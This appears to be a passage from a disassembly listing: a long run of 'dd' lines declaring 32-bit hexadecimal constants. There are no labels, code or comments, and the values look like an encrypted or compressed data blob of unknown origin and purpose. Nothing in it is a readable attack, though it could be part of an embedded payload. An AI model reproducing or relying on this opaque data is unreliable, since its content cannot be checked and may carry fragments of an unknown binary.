		dd 73405AC9h, 0FF13670Fh, 8CBF5826h, 0DBFF07Eh,	0B7C852F1h
		dd 0D3681396h, 0B0FA302Bh, 9B902865h, 6C2D667Eh, 0EFF19057h
		dd 47D19749h, 33EB5CC4h, 0A3022EA8h, 1F8C0F49h,	7F6A7256h
		dd 0E133F207h, 292CCC6Ah, 0E01770D2h, 0CF015A05h, 88FED7C5h
		dd 1A9F870Ch, 271744D5h, 0EDE57B28h, 0B02C4422h, 39C2108Ah
		dd 0B0B74697h, 0B57D4BFBh, 0CE36406Ah, 0EA325893h, 6A40B860h
		dd 409A6372h, 121EED0Bh, 0AC052D13h, 0BFE94F97h, 6886E04h
		dd 8257C0CDh, 0E2EBB50h, 48088329h, 0E7833E47h,	220213AFh
		dd 6BFC14D9h, 0AFD07FA8h, 0CE2DD04Ah, 73B7D13h,	0B4C6025Fh
		dd 600B2223h, 2F71414Bh, 0D0A6801h, 0CE590B89h,	69044B7Bh
		dd 0F3FE2D9Fh, 478FC25Bh, 306E7740h, 0B4EC854Fh, 0CAB1FBD2h
		dd 0E131F87Bh, 0FCFB67A2h, 2E328FBEh, 0B980338Bh, 21CD3403h
		dd 140EF281h, 0A461CE53h, 272BAF04h, 2CEEE875h,	51053852h
		dd 0D7FA624Ch, 15BF30A4h, 0D7955D7Bh, 61AE0BB0h, 0E1901E7Eh
		dd 0FB06B902h, 4AC9E908h, 0C68B5F6Eh, 0D62EFC24h, 803BC06Fh
		dd 0DFF602EFh, 0FF1A7968h, 0FC8EDC99h, 0E925F3EAh, 0DF05895Ch
		dd 0F149B5C5h, 0F5A6C2DFh, 0D807A9D7h, 43320F7Ch, 903D354Bh
		dd 742E0604h, 0B0C3C3Fh, 3AD23368h, 9319827Dh, 0A00A68BBh
		dd 0A414957Ah, 5A505D3Fh, 0CA30469Dh, 0AB9C602Dh, 0EE4F5AEFh
		dd 5E66094Ch, 383092B5h, 248269A4h, 0A6D2E0FFh,	6D942F5Dh
		dd 783A9F0h, 0E8B5577Dh, 0B5C7D55Eh, 8B6BBF5Eh,	89B5D164h
		dd 0D9601DE9h, 2A129DBEh, 59094C54h, 326F8111h,	443F7FE9h
		dd 0AF04EACDh, 5EE96C68h, 0EAAFD1C7h, 89EF1409h, 8CA7EC88h
		dd 665E21C6h, 0D4F6020Ah, 0E480CCFEh, 0D930C6E9h, 0A9E02ACDh
		dd 0DDF630A1h, 0E5C0C90Ah, 0ED07087Eh, 59EC3039h, 4904360Fh
		dd 0A99168Eh, 4FB83C20h, 0AB25BE83h, 0D8DEF90Ch, 0E3331DA4h
		dd 6DF68149h, 6AD59432h, 0D361D5A1h, 1334E33Bh,	0D3CA4764h
		dd 8E1C2C32h, 0E4C0FA48h, 5060365h, 0A918DEC2h,	4FE86481h
		dd 0B1749099h, 59F830BBh, 0AF40C7B0h, 0D6822D0Fh, 4E9793D0h
		dd 0C78B122Ah, 7BDBF25Ch, 0BB70F94Bh, 472F3C1h,	0D0E93097h
		dd 0B7B207BBh, 0B992CA07h, 865A77B1h, 20970D31h, 19C9D388h
		dd 61513134h, 0C8E95754h, 0D66B8F44h, 5A990B5Ah, 22684C8Ah
		dd 0FC5BFA46h, 315AA0CBh, 3A26A0C8h, 0E07DC986h, 3F3F0206h
		dd 12ACF758h, 0ABEC8E6Ah, 0D37EBC85h, 41F2CB46h, 6616DFF0h
		dd 670FF1F7h, 0B23BBF6Ah, 5851269Dh, 456213F7h,	98AB7Fh
		dd 0E90CA0EEh, 0D84B5A0Eh, 1E4128FDh, 96672AF8h, 72A94962h
		dd 55009B29h, 616B52D0h, 0A6E2315Ah, 5469746Fh,	27C916DDh
		dd 0A4A7B7E9h, 92F273DDh, 0E41B4Ch, 232C6035h, 13C5E0Dh
		dd 3A055B33h, 20483459h, 38BD61C0h, 622E68B4h, 0A65EAB38h
		dd 0ECADBC7Bh, 94C398B8h, 7F68843Eh, 1C12B377h,	0F7274DE1h
		dd 0CD9D0316h, 0B85013DAh, 61BF4AD4h, 8937BBB8h, 55549599h
		dd 0BA566230h, 24D561A8h, 5F921991h, 0C0BF290Bh, 97F8219Bh
		dd 2E9AC7Ch, 0AD3D87h, 0C95B890Dh, 0E8017C75h, 0F280E65h
		dd 1D244981h, 64927225h, 979B5652h, 7C9A5320h, 415E1E12h
		dd 0D78EA5E9h, 0EE341105h, 1035C554h, 5F3798AFh, 8408922Dh
		dd 0BF89CC48h, 8100E49Ah, 1A2417F2h, 5F4BE93Fh,	0F8FD076h
		dd 0C75EBA8Dh, 318446F2h, 0F78F37A8h, 1EB007C4h, 7068F378h
		dd 7282B981h, 0B5E4EE26h, 0DF65366Bh, 0F80F7DEAh, 33B60E40h
		dd 0F267B2E9h, 1E95E775h, 0D7B27D87h, 0A7147F8Dh, 2611F49Fh
		dd 0E4CB1722h, 7A796F3Fh, 3781255Eh, 1A80FD29h,	0F2BB585Dh
		dd 3358774Bh, 287E0F72h, 9CE98407h, 12839895h, 0D7BF3E9Eh
		dd 0A7B55826h, 49152FDDh, 7561E28Fh, 3437A294h,	73628587h
		dd 80A5A7A6h, 32F20BD7h, 561877A4h, 481DBDC6h, 0E6815333h
		dd 422D1144h, 10C0DD31h, 0D428ED0Ch, 3504415Eh,	0CE517D06h
		dd 0A7F9AC60h, 0EE58C69Fh, 9AFF8263h, 0AEAA814Bh, 55DE7B4Eh
		dd 880EE58h, 0C54E56E9h, 592AFFCh, 138BFBB7h, 5E17BCC6h
		dd 6F9B2DAEh, 0E9C550ECh, 0B97690BDh, 222D79C0h, 92417E3Ch
		dd 0E4C2A84Ch, 8EBE39C4h, 70BB5F16h, 0BBF5721h,	5E4A7F18h
		dd 257C87CEh, 75F02ECCh, 7CCADD27h, 0B4296FB1h,	772D27D4h
		dd 0E2FEBA14h, 7FF2964Eh, 5ABB5301h, 0FB6E4B45h, 73F61CE2h
		dd 2484776Eh, 59E64A77h, 0F55C482Dh, 0B148D6DEh, 0BE56D0B8h
		dd 0CA1E7C0Ah, 7803F42Eh, 42FAF11h, 654BFDCEh, 8A580466h
		dd 0AEA18F85h, 0BE89526Ah, 0C520D869h, 0F7544B26h, 89D996C1h
		dd 1410812Dh, 0DD552D62h, 0D6826229h, 0C3F1A1FCh, 0D1382B8Bh
		dd 9B840F2Ch, 0E5ED7198h, 5EF89412h, 0E967B4EAh, 8FB45B26h
		dd 0C809A8A0h, 445E401h, 0EDAA8929h, 5FB9C94Bh,	8000AC42h
		dd 0F8211F5h, 4ECF2924h, 0B6B00820h, 4EE501B7h,	3E71EED1h
		dd 8A2AE2D1h, 0C9C1DD2Fh, 165F6E9Dh, 7A541630h,	0F0BE5E2Ah
		dd 0E82568D9h, 883F596Dh, 0EC313B9Fh, 4C6FC195h, 81245A0h
		dd 3EE48A4Bh, 0BC724F2Ah, 6CA3C4ADh, 0BAE0570Fh, 1C016A54h
		dd 0AEAFBF01h, 0D7297B98h, 8BA2ED6Eh, 62E78544h, 931B0DD1h
		dd 5B54428Ah, 89501EA0h, 0D9F6D1CFh, 9C250249h,	41E87C7Dh
		dd 4CCBB89h, 0D60AF182h, 0C77F695Fh, 760D8CBDh,	0DCB7310Ah
		dd 29EF027Ah, 0F8406F69h, 0CA2E7937h, 0E1106C77h, 1283558h
		dd 2778EC25h, 5440CE69h, 2BBC309Fh, 5D545541h, 4EF78F7Eh
		dd 0EAB482ACh, 0B9580828h, 7FE9893Dh, 139E3CD8h, 2BF4425Ah
		dd 679F4E0h, 7755EB85h,	0CD121B98h, 72108B21h, 0F68A120Ch
		dd 48C5DFEEh, 0BEDA85A3h, 23E3FB90h, 383F4872h,	0F29361Eh
		dd 6262B876h, 40D6D8B2h, 0A405CF3Dh, 8089A704h,	0EEB2DE0h
		dd 5D5ADF77h, 0DE0B5FC1h, 921E3B7Fh, 0B92C67D0h, 3A8209BAh
		dd 0ED6AC07Dh, 2E803C89h, 8F48AF48h, 5F71E982h,	0C3800507h
		dd 3E01DEF4h, 0E2D158C1h, 86412833h, 257E3132h,	0F7184784h
		dd 6082C3E8h, 2E14637Bh, 9E134DABh, 7CBF20C1h, 5FFF8C55h
		dd 0BD3FA47h, 0F1CF23AAh, 0AB041350h, 7E40C24Eh, 4F97294Ch
		dd 30D57DF7h, 0B11A9B7Dh, 3CB8C0B7h, 16B35309h,	4285FDFEh
		dd 0A896C418h, 48680B14h, 0F9E9B038h, 0E956807Ch, 0DA70BA2Dh
		dd 16CEA8Eh, 0ECBE51D0h, 3EB499FCh, 0ED0276ACh,	3982AACh
		dd 80CA8FDh, 0BE31CF20h, 5FFD6199h, 5B9BB87Fh, 0D9ED60EAh
		dd 0E15BD6A0h, 7C31BDB9h, 2E565DEBh, 62AD95D1h,	0B7C14BA0h
		dd 4542EBE2h, 0E157E9CAh, 0D2202DCCh, 1C11B2AEh, 0EED2F792h
		dd 44D116FEh, 0EED33129h
		dd 0CE3D8899h, 0D03D8793h, 77442068h, 18101F48h, 890F1CE9h
		dd 0BDE6EECAh, 0D2945F09h, 28B5719Dh, 2498977Bh, 0C45FE95Ah
		dd 61406E32h, 48EE7BADh, 2F5BD631h, 66D04CBEh, 355EE460h
		dd 0B87D19C7h, 0F4132413h, 0CD09208h, 53384F40h, 505267DEh
		dd 7AB0C684h, 28CF1FC4h, 3B2D3AE2h, 0F627AE53h,	5F1F0262h
		dd 0D9DF6FDDh, 81CC2CAEh, 8366AF41h, 0A9FE50C3h, 26055542h
		dd 0C6CBE94Ah, 2E71B7BFh, 0E84C4A68h, 50CD4FF5h, 7674F480h
		dd 0E95D4A59h, 16E9C3FBh, 682A02AEh, 6C450296h,	0E307D7DBh
		dd 33950E3Bh, 0B1EBC5FBh, 3C9A2BCCh, 0E9DC8A02h, 0A2489920h
		dd 0D6825E58h, 3E240851h, 0A0B35827h, 2539B99Dh, 0B441103Ah
		dd 65A03AD1h, 8BFA0888h, 10B313Eh, 0CFCD05DDh, 0E6D9BF4Eh
		dd 580F8F10h, 0BA06A6DFh, 101FDB4Ah, 0CC4053B6h, 4E19BFA9h
		dd 1657CE31h, 3CEA97D6h, 0AD409254h, 5F6212BEh,	0AE8B045Ch
		dd 0DCB8AFEBh, 4AD2A9B4h, 0B83A1AD9h, 6858045Ah, 3DEA2837h
		dd 0CDDC3E24h, 48AB409Eh, 5550EECh, 0F10540ECh,	6C4AC07Bh
		dd 0F6A959F4h, 325897h,	7E763F3Fh, 88DA6011h, 3C860646h
		dd 4AB70958h, 0AA46C4FFh, 0D3E3B2ECh, 17731848h, 5E29635Fh
		dd 18B0E2D8h, 6072402Fh, 0DF2F8D0Fh, 0B00F17Bh,	2AC25F8Ch
		dd 0B21F355h, 5E93C706h, 173459E0h, 16744EB8h, 0E0489827h
		dd 9D8BE9ECh, 0B05F0062h, 827AFA2Ch, 0C98E20FFh, 765D2157h
		dd 25D0FF38h, 1A314BF3h, 0F05C25AFh, 1A1729C0h,	0BCD9983Bh
		dd 0FE5C16F3h, 426C5298h, 2E90D45h, 0E82F88D4h,	0E313DFF1h
		dd 575E30C2h, 5C92DF47h, 0C2E3E6ABh, 0DD7CF3E9h, 68381DE4h
		dd 98AA4BC6h, 7E444E4Fh, 0F3485E25h, 33E51756h,	0E9C79DFCh
		dd 0D7C4EB67h, 9095055Bh, 0B72525B6h, 197ECD8Bh, 5547E824h
		dd 2056D2D9h, 8100B8D6h, 5E75F5CDh, 28820F23h, 160C27A4h
		dd 48A3A16h, 1762074Ch,	4E4E6DF4h, 8948B98Bh, 67D4D056h
		dd 11BB18B7h, 0EE6C6B78h, 59B2F763h, 19B9BB80h,	1C5A6241h
		dd 0CB09FB81h, 0F3B09E7Ch, 4224075Ch, 6502222Bh, 0D51D8E7Fh
		dd 3C84F940h, 9FD00180h, 2D601874h, 6E216405h, 7D41C24h
		dd 0F2565A16h, 0E0DD948Ah, 9D7B52E9h, 0B426EFC4h, 1D6A00F1h
		dd 84333E0Fh, 12B8B2ECh, 98DBB2D2h, 6D15B8h, 2AB807E2h
		dd 3133A723h, 2B887394h, 0C39D0EB6h, 685BBDE6h,	824AB680h
		dd 0AC06F899h, 0ECD01709h, 2EB83050h, 880D75ECh, 4FF00E00h
		dd 3411CA05h, 2EF2F40Ah, 26C3693Dh, 29780062h, 0DF05D8F7h
		dd 0DA4E0CF2h, 0BC6A38E1h, 51E98383h, 0ED6F0391h, 15660F92h
		dd 842E8698h, 0D355E99Ah, 0DCF62AB8h, 607F9710h, 0AD5F2F16h
		dd 27417C54h, 2418DDEBh, 380227C6h, 0B5684458h,	8025797Bh
		dd 13F173C8h, 5D9CC609h, 28A89C2h, 0DCC0E0C1h, 0B3005005h
		dd 0EF811415h, 1E29162Bh, 39C7011Eh, 863B0851h,	6109225Ah
		dd 0DE171875h, 48805A60h, 400E7AE1h, 5713F6F8h,	481EFB07h
		dd 24EA54D6h, 0FD2CEB84h, 0B97237h, 2D7805B8h, 0F829463Dh
		dd 710746EBh, 50B1A4B5h, 0D84598AEh, 703CE919h,	73D8960Eh
		dd 0A6119F5Fh, 6D013B53h, 205BB050h, 8F6BA70h, 26B2E9D1h
		dd 1804B81Fh, 7B81220Eh, 5DC657Dh, 0C1E230E9h, 2879BD20h
		dd 0D126A90Ah, 0BF09CDEDh, 7A7CC136h, 0BB024368h, 3B5365A7h
		dd 16C5B340h, 0FC6DD92Ch, 4E76F003h, 4F180517h,	0AF7B0C07h
		dd 955834C8h, 5A2216FFh, 0A2D8A45Ah, 5591B40h, 4998ABB9h
		dd 6183EFA8h, 7709A7ACh, 7F4B4CD1h, 2EA5CF19h, 0B7E472AFh
		dd 0F92D2DF2h, 0EB15FF5Fh, 1DC92630h, 1B347605h, 0C1AE6BE9h
		dd 6B5A0AB1h, 0EC9252ECh, 0D800A48Ch, 35D85D67h, 0B58BA14Bh
		dd 0B87298D0h, 40C30CD4h, 5D0C7CD1h, 0B3C70812h, 0FE1C12BEh
		dd 0F204C0F2h, 0BE1E9723h, 7378EC30h, 4F6D1D21h, 6BECC1h
		dd 0DC0B9AC7h, 0F90B292Bh, 0FFF5A1E9h, 0E477563Ah, 1DE954Eh
		dd 0D1A54EEAh, 0EA29659Ch, 0EBD6EBB3h, 0EAD7B992h, 2DE577D9h
		dd 0D85E9E4h, 5E05288Ah, 46789068h, 833AFBD7h, 43B6CD4Eh
		dd 0A6B8B94Ah, 1B681726h, 0CAC66142h, 0BE5F01BCh, 14782D30h
		dd 0E9FE316Ch, 0E2F76A16h, 1C6F4203h, 0F80E6F04h, 3AFC922Ch
		dd 0FE65B5A0h, 3980C539h, 4FE599CAh, 0F5E4DA0Ch, 870BB7A8h
		dd 0C40857F6h, 4B428A1h, 6D6E220Bh, 0FAE6C4C1h,	9DA07224h
		dd 0F75C9556h, 7CCB898Ah, 2786D46Ah, 5F40738Ch,	8032EF03h
		dd 935E5C4Ah, 0CB09090Eh, 2F1CF85Dh, 0FD6E3427h, 454F9FF6h
		dd 5FB0A888h, 0CBCFD1F9h, 20900682h, 91F64AB5h,	0B8407FFDh
		dd 1CE1ED44h, 0F2CF4E89h, 7967C415h, 0EDB850EEh, 583DCC4Ah
		dd 673B1197h, 0AC665597h, 0CA5F3FE9h, 0C7A7B7BCh, 9C57EB11h
		dd 0A341202Dh, 0FDA08DA0h, 0FE13CD2Fh, 0E2632C61h, 0EA7468F9h
		dd 0A13EB5BBh, 4C85BF1Dh, 0F6E22795h, 927B10h, 0E1EA815Dh
		dd 4F0FDA72h, 0B3791052h, 3EAE0B68h, 0C3DCC02Dh, 57FD276Fh
		dd 63FE529Fh, 168EF3CEh, 0F2CEDA97h, 2159418h, 0EB80A2B2h
		dd 0A45079C0h, 0F6A8529Ah, 0FE12511Eh, 0E3215B1Fh, 52FE4h
		dd 0B0602A07h, 0E095294Fh, 5F015A12h, 0D064AC5Ch, 2F084111h
		dd 0E33EF7B5h, 87E90916h, 0CBFDF659h, 0D9B5BEF0h, 0A021EA34h
		dd 0F5C019Eh, 54E9EE51h, 29642E8Ch, 9FCAF8AFh, 7F3EC267h
		dd 21FF7B96h, 61A36F0Bh, 15A4CB96h, 1D82ABE9h, 0FFEDDAF6h
		dd 0E5B18007h, 4FC2BA30h, 69ADF0DCh, 0C600F929h, 1AE846F8h
		dd 0A40D7EBDh, 0EC85175Eh, 2D475ECCh, 0BF960BF6h, 19D7F288h
		dd 187E1327h, 829BC42Ah, 12167C9Dh, 4EB4C07Dh, 5128890Fh
		dd 5792432h, 72F68526h,	0BE148A97h, 98FF4B3Ch, 495F6860h
		dd 5C969E46h, 0C9FEB9B2h, 0DC0EA8D9h, 0CBAE1762h, 855525C8h
		dd 0DFF04177h, 59D6408Bh, 0C7E7D497h, 0B10CF553h, 5B5ED807h
		dd 61992E9Dh, 0DF3C88BDh, 2E664060h, 34DE038h, 9226E9FBh
		dd 8513326h, 77B37E18h,	8B36B338h, 0BAABBA57h, 9846835Dh
		dd 6D9BC769h, 0B8460CB3h, 0C8648822h, 8E41C5Eh,	552B0EE5h
		dd 0F5C07B83h, 38F3294Eh, 4DD5F717h, 0A44400EAh, 0E9B4DCEEh
		dd 725CA727h, 80612026h, 830AD3A0h, 5EFCFA8h, 0C90967B8h
		dd 8026762Bh, 29685567h, 0E8F99513h, 0C031839Fh, 0F18B02E1h
		dd 96F64D1Ch, 58047F72h, 3D9DC286h, 40F28902h, 0C0440512h
		dd 1835C2C7h, 0F0B76D2Ch, 135DFA68h, 8365F12h, 451C9022h
		dd 33A6FC6Dh, 0DC010206h, 0F86B2C4Ch, 4835EA01h, 4864A82Eh
		dd 0B51216CFh, 3C4F7E8h, 7530BA51h, 4C4D2D27h, 5212C40Bh
		dd 1B2EB2FDh, 0E92D2F68h, 5731C0Dh, 17E1E2D2h, 7E2310E4h
		dd 0E2189C8Fh, 719DAB41h, 9ACBCF1Dh, 0F604BADFh, 0E1F6E28Ah
		dd 0CEC8A672h, 3461261h, 2777FE0Eh, 0E054ECBh, 45C20A42h
		dd 0B20A882h, 52596140h, 80E14595h, 116C5676h, 6590DEF7h
		dd 70485509h, 7010449h,	6A4F2500h, 0F0BF2132h, 48F7079Eh
		dd 6050E633h, 6F28B0E7h, 6E97313h, 0DEB90A80h, 0EA5250Ah
		dd 2D2F6C5Fh, 7C42D0E9h, 0EADA18FFh, 0DB74BD9Bh, 2DEC5A4Bh
		dd 0A6C4C1Dh, 0BF6608C1h, 0FD3E3202h, 0B91F7981h, 0FF6527B4h
		dd 96D8446Ah, 0E289989Dh, 8E5E9F86h, 0ED507A40h, 0EF29FA1Eh
		dd 0F84FFB63h, 0B25D9448h, 7B40C05Eh, 75F37528h, 9F5AF8C3h
		dd 269C5FCh, 0E752D96h,	1869BDC0h, 454B48F9h, 0F6B31ECh
		dd 0D97F92C2h, 0C5FD6904h, 0E1BD091Bh, 4559F280h, 37278D0Fh
		dd 40FCF412h, 0B05CD81h
		dd 9346FF3Fh, 0E7ACB78Bh, 0D70EA4Ah, 0D3855BE9h, 4426FEDFh
		dd 0C11E4834h, 0D885C381h, 0AA74102h, 0CB247E4Eh, 1E75B0ABh
		dd 8AC761Eh, 43AAFA93h,	0FEFF2DFh, 57ED0A1h, 841284AFh
		dd 932B1A8Ah, 0C4FD2DFh, 1334731Fh, 8313221Ch, 33014329h
		dd 3D244A92h, 7571D9E1h, 4A3D7AC6h, 212FB05h, 0C5FB2CAFh
		dd 0D661C766h, 0E6C11904h, 3590DC07h, 0AB8A4571h, 0DDAA2412h
		dd 35436070h, 7F7D92E0h, 0E9EA0905h, 56BDFB90h,	0A4E34026h
		dd 0FBCF1282h, 0BDB93F31h, 373DCCCh, 0E5B85049h, 34100356h
		dd 89125E47h, 9601FFC2h, 49C471DBh, 929E53F8h, 25840385h
		dd 85BA21BCh, 5BE80B4Eh, 1C57090Ah, 53605075h, 5208082h
		dd 48D7376Eh, 0AFB4257Ch, 94A170A8h, 8695A6D5h,	67E0DF92h
		dd 6FDE0BBFh, 0A88027F9h, 121F3A0Ch, 0E0FA012Dh, 639CF70h
		dd 0A0E93830h, 6813548Fh, 0D58C79D3h, 0EA391936h, 48A244Fh
		dd 523586ABh, 10C63300h, 0E9FE2962h, 0A13453D4h, 97DCB11Eh
		dd 87F6C5E3h, 68D800BFh, 26963E6Ah, 0C580B260h,	0E29FA10Bh
		dd 0C7968104h, 0D6D83B02h, 0B489BD0Fh, 2494C5F7h, 5B56CBABh
		dd 0C1A9FC25h, 0AD08F8E9h, 8528C0BDh, 790244A0h, 30312D41h
		dd 5B79903Fh, 0D54A8952h, 20020372h, 0C6F1805Ch, 4E3CC058h
		dd 1F083BBh, 72F0064Bh,	0B0A54AB1h, 42659DAh, 301336D2h
		dd 875A5AFCh, 0C3E97187h, 0D4B62597h, 762D6884h, 0DA5C9910h
		dd 12192AC2h, 3A70A888h, 9557C0C7h, 5FC0195Eh, 0F2BA52h
		dd 3116964Ah, 0CF815AD7h, 323A9E1Ch, 330CB165h,	2425DD35h
		dd 57CFB3Ah, 3279E91Ch,	48EED84h, 1ACD7F7h, 0BD560196h
		dd 3B0AB7A0h, 8889B5A8h, 5E54DAE0h, 0D24B7EB5h,	6852ED18h
		dd 4E38FFBCh, 57C103B2h, 32CB49E9h, 7C8990EEh, 0DCCAFCFBh
		dd 2FDCFEFFh, 53A8544Bh, 8BED7438h, 0FD3E4907h,	24084028h
		dd 45551B58h, 0EE13DFB7h, 0B4F46D21h, 5E88C3Fh,	0DE2DB6BEh
		dd 685C4B65h, 0C6AA082h, 0AA565525h, 65A9A197h,	0F933C112h
		dd 8952CF26h, 2530545Ah, 26E30774h, 0DAE73C01h,	67E4880Bh
		dd 3E4CC948h, 81004FE8h, 90283FCEh, 0EFFE5901h,	0C2613A88h
		dd 41D6F60Fh, 0BE18E9C6h, 452FFD24h, 4C8A061Ah,	283E2101h
		dd 6F68161h, 60DA09C5h,	99FD35BEh, 0FD0CE9CBh, 7360C7D5h
		dd 0C0D0F624h, 0FE063AE8h, 0EAFA8814h, 0BF458F12h, 3182B674h
		dd 0DDCCDD0Fh, 0B7531EC1h, 163151A6h, 2593E22Eh, 0A5945C2Dh
		dd 9B85E830h, 690E1995h, 3172B641h, 0A5ABF83Ah,	0E4105CBCh
		dd 68560660h, 2FC3571Ch, 674E8350h, 5580683Eh, 73C93A5Dh
		dd 0FAF67FD5h, 1F409C3h, 2A8F4446h, 0B859AD04h,	1688205Eh
		dd 5255CD89h, 0D280BEBCh, 6222E95Eh, 7DA24D75h,	8A3D020Bh
		dd 0A0F95DBFh, 5992CEA4h, 0B810E3A9h, 0F9ED7DF3h, 928B2813h
		dd 30E9DBDCh, 802C56A3h, 83F0D5CAh, 4688AC4Ah, 49F52088h
		dd 1E4A567Eh, 0C3FECE00h, 0F28B352h, 0CB885358h, 19FC9FCBh
		dd 9CBA3A89h, 0ABD19FA0h, 7A973342h, 9278EEB4h,	79770C95h
		dd 37722785h, 9B498641h, 2431BC3Ah, 2A43B15Dh, 0CE2301D5h
		dd 4C617736h, 0C8F9DC0Fh, 3DD79EA8h, 3007C7BDh,	0DD685A45h
		dd 779D5470h, 6806C315h, 2FEB1430h, 0A7118CF0h,	7D03DC0Dh
		dd 3B2D7602h, 0D4CDB0ADh, 0E781003Bh, 2B153861h, 97BB5300h
		dd 9642820h, 261B98DFh,	53596C86h, 0A4DF7ADAh, 13C0A3F2h
		dd 0F8E6D146h, 2E01B5F3h, 60476658h, 5A8082AAh,	30CB5828h
		dd 8289BB4Ah, 8EF8B93Bh, 79396F7Eh, 95414020h, 0BE0469DEh
		dd 548522A6h, 926EA25Fh, 25A31F3h, 731AE9FAh, 42FB3102h
		dd 0AD40FDB2h, 0BC307A69h, 6BEC0C3Ah, 0C1994E84h, 9698E05Eh
		dd 0E0F9C3FDh, 4752681Ah, 9F8B8286h, 4E157238h,	4B0F8EEAh
		dd 0E9BB28FBh, 0D5DEDC26h, 0DB17F993h, 5BDD1C98h, 0CF77165Bh
		dd 0CFB47F7Bh, 3A4E9888h, 0BA964F4h, 5B49BE5Fh,	0BFB5966h
		dd 66FF4E83h, 72553876h, 3F838842h, 0ED07CD99h,	5AE47CDFh
		dd 65BF7354h, 0CCBC5B9Eh, 0E97938D6h, 596582EDh, 71224D68h
		dd 6ADA8985h, 9ADEC55h,	4D5442BEh, 0A0402985h, 0EE07BD49h
		dd 29EAFD65h, 5E24EA5Ah, 9B799901h, 0BD2E310Fh,	2BAE267Dh
		dd 0E0EA2192h, 0FF001B88h, 412DF4D3h, 941A9870h, 190720E7h
		dd 350DBBE9h, 0B7A32FC1h, 0D19AE9C4h, 0DCD03148h, 87B4FE2Bh
		dd 0EA5872h, 1C136338h,	0E907EBC1h, 1A859325h, 88F6C00Bh
		dd 95C082BEh, 189F951Ch, 80B7F3DBh, 6B7F2D5Eh, 421EBE25h
		dd 3C785FE7h, 79519317h, 45641D1Eh, 1CEA3BABh, 59CB2185h
		dd 9A9DE90Bh, 0EBE2F6A9h, 7C46047Dh, 5A74AB10h,	0A754BDA6h
		dd 1F4FAC43h, 83E8EF83h, 0FB8948DCh, 6AC3F1E9h,	2D539ADAh
		dd 1FE82912h, 72EEC028h, 1342E32h, 2DB8C65Fh, 0CE256932h
		dd 0ADC9C77Fh, 0B36018D5h, 8B6DBCB0h, 1A547EB6h, 78488263h
		dd 0D1A3597Dh, 0C43B9B00h, 0F4B5378h, 8F56892Eh, 69ABE985h
		dd 16AA35AFh, 498BC7Dh,	7C1619CEh, 25D5A0h, 6D3802BFh
		dd 0CB328905h, 4CB8064Bh, 88940929h, 830BBFBBh,	7BC40EAh
		dd 0D2BD7A55h, 80BE8503h, 0A0115BA3h, 8217D2B2h, 6F00B725h
		dd 0A31754F2h, 2D629006h, 4DA297E9h, 3F0A4C95h,	812DAE26h
		dd 29A96878h, 12D8D7Bh,	0F4505B90h, 7FE15A78h, 829782B7h
		dd 0DEF13034h, 68CD4852h, 733205E0h, 0F1425A03h, 838740A0h
		dd 31F898E8h, 3C2CDA58h, 0A55948BEh, 0D9BC8905h, 8F81B2AAh
		dd 0E579C652h, 7A25001Ch, 35463B0Fh, 76256DC6h,	18EE030h
		dd 8C36C1CFh, 89707E6Bh, 0F817E9C5h, 0A0044E01h, 4C4ECB44h
		dd 0EB3694EEh, 0CB9EB2ECh, 0B1A8628Dh, 201000F2h, 75BE05C4h
		dd 73F21902h, 5552E1E9h, 96C12A12h, 0DECC6922h,	4EAA59C9h
		dd 0DFB495h, 7857B951h,	0E1F231D3h, 78043BF3h, 8045E07h
		dd 5B43DAC6h, 0F8B30C40h, 30C0CBFEh, 0E90A07E3h, 73D85C06h
		dd 1D1336h, 0BF571B53h,	7B381C15h, 19AE6A1h, 0D8425E2Dh
		dd 5F897573h, 1FB2384h,	6E1FEE68h, 0C9C8E27Ah, 9D655051h
		dd 0C3ECD780h, 0CDA13B1Fh, 75B801F2h, 3930C2D8h, 2704005h
		dd 712B2D3Fh, 0CE616BD2h, 0F82901A1h, 0D6F0E4DFh, 2748985Fh
		dd 0B59232BFh, 4C08D05Dh, 9901755Ah, 0E954A663h, 46133F68h
		dd 614A70A9h, 6FEEECF2h, 0DA42E8DEh, 2D2FDA10h,	0C2A55989h
		dd 0DF1A06F6h, 43910C16h, 0E97040ACh, 0E44A5ACDh, 913F4A5h
		dd 4FE0650h, 0E8894D7Fh, 186D9431h, 0DD7908FAh,	81F08638h
		dd 0F1517A62h, 508C9A3h, 0E9A1BC7Ch, 93F3860h, 5E88EB80h
		dd 0BBCABA90h, 0A899F532h, 181EFBD5h, 1EBB9215h, 80FD868h
		dd 4A21456Ch, 0C3B5F741h, 0C52B0FB3h, 23609A2h,	1BEFE5D7h
		dd 5BB8CAFEh, 0B119E380h, 7388D3F6h, 0C52876F0h, 0D59C6CF6h
		dd 34B2D149h, 0E38D8BE8h, 64630405h, 1D2A817h, 2B063D38h
		dd 0E830CD89h, 0A2BEBD52h, 0E51E912h, 0F885B8BDh, 9AB9828h
		dd 8FD19F4Ah, 29C91047h, 6E3D7060h, 11C47DF5h, 88F9D494h
		dd 68125697h, 31AB51E3h, 8FDCD16Ch, 479CF14Bh, 0C5B32D50h
		dd 0F3FE8521h, 4E794864h, 0D01332FBh, 6E32DDD6h, 122C7625h
		dd 345EBAB9h, 1263188Eh, 0C8ECA2BEh, 9C97BA8Ch,	4656F449h
		dd 3E870F08h, 0BA253FAEh, 38BF058Ah, 8A6EB404h,	9894EFCFh
		dd 27A562FEh, 0ED211AF4h, 4BB652C0h, 67B84CE9h,	0AF57EA8Bh
		dd 0F47F69FBh, 39DB1F1h, 48B63A2Dh, 0A82CE984h,	0EB5F17h
		dd 201BABE6h, 86350F12h
		dd 0F8034D4Bh, 0D58D5FF1h, 0BAB380AAh, 6A2F443Ch, 5480F54Ch
		dd 0E5649BC6h, 247DBEC6h, 8814555Fh, 7EE8E17Eh,	0E93955A7h
		dd 938874Eh, 6E604802h,	0CCB25200h, 80C20EFEh, 537D90E2h
		dd 10A1E914h, 0BB028857h, 45AD1F6Eh, 10085DEh, 0D4E92CFCh
		dd 24A0929Dh, 69DD4435h, 4F006550h, 2AB93C0Fh, 95558B3Ah
		dd 0CEBCA0FDh, 7698475h, 0D2E6D05h, 561FA510h, 81311CBFh
		dd 305A59EFh, 0FDF52BF8h, 0C9450F20h, 417CFEEDh, 5165F42Dh
		dd 0EA132A15h, 0D2C3B304h, 1B560109h, 0C8B70FE0h, 6F402768h
		dd 48721298h, 0FF78880h, 0F4C7805Ah, 1DD0D369h,	9E31AD28h
		dd 18D9F20h, 0F083CBBDh, 0F8A32D24h, 0E4B801AAh, 63766812h
		dd 57C401BCh, 5D2AD211h, 0A681537Dh, 3B331097h,	2B3F125Ch
		dd 509E2EA8h, 13B33F92h, 2814F380h, 0C63B760Bh,	0BAE63D75h
